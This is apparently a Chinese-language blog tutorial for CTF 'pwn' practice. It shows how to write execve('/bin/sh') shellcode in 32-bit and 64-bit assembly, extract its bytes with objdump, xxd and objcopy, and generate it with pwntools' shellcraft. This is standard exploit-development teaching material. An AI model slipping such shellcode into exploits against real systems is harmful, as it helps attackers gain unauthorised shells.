pwn学习-手动生成shellcode

汇编手动dump生成

elf32
首先sh.asm内容如下

[section .data]

global _start

_start:
	jmp sh

se:
	pop ebx
	mov eax,11
	mov ecx,0
	mov edx,0
	int 0x80
sh:
	call se
	db '/bin/sh',0

使用nasmld编译并链接

$ nasm -f elf32 sh.asm -o sh.o
$ ld -m elf_i386 sh.o sh

接着使用objdump就可以得到对应的shellcode

$ objdump -D sh


但是这样一个一个字符提取过于麻烦,可以使用xxd命令获取

xxd sh


上述中显示的数据也是过多,可以使用objcopy命令提取可执行代码段,这时提取就方便很多

$ objcopy -O binary sh.o sh.bin


注意上述中sh.bin文件是从sh.o可可重定向文件中读取
sh.bin文件是一个二进制文件,同样可以使用objdump等二进制分析文件分析,由于缺少文件头信息等因素,需要手动指定该文件类型和架构

$ objdump -b binary -m i386 -D sh.bin

elf64
x64的和x32的基本一样,只不过汇编语法有些不同
sh.asm内容如下

section .text
	global _start

_start:
	xor 	rdx,rdx
	mov 	qword rbx, '//bin/sh'
	shr 	rbx, 0x8
	push 	rbx
	mov 	rdi, rsp
	push 	rax
	push	rdi
	mov 	rsi, rsp
	mov 	al, 0x3b
	syscall

编译链接和执行

$ nasm -f elf64 sh.asm -o sh.o
$ ld sh.o -o sh
$ ./sh
$ exit

使用objcopy提取可执行代码,使用xxd分析

pwntools自带功能生成

带入pwntools模块,使用shellcraft类中的sh方法生成shellcode,接着使用asm()方法转换为shellcode代码


一般我们在脚本中使用变量存储shellcode,例如:

from pwn import *
shellcode = asm(shellcraft.sh())

上述中默认使用是x32的shellcode,生成x64的只需要在第二行加入context(arch="amd64")即可

在线网站

shellcode database
例如:

posted @ 2024-05-30 18:01  Junglezt  阅读(362)  评论(0编辑  收藏  举报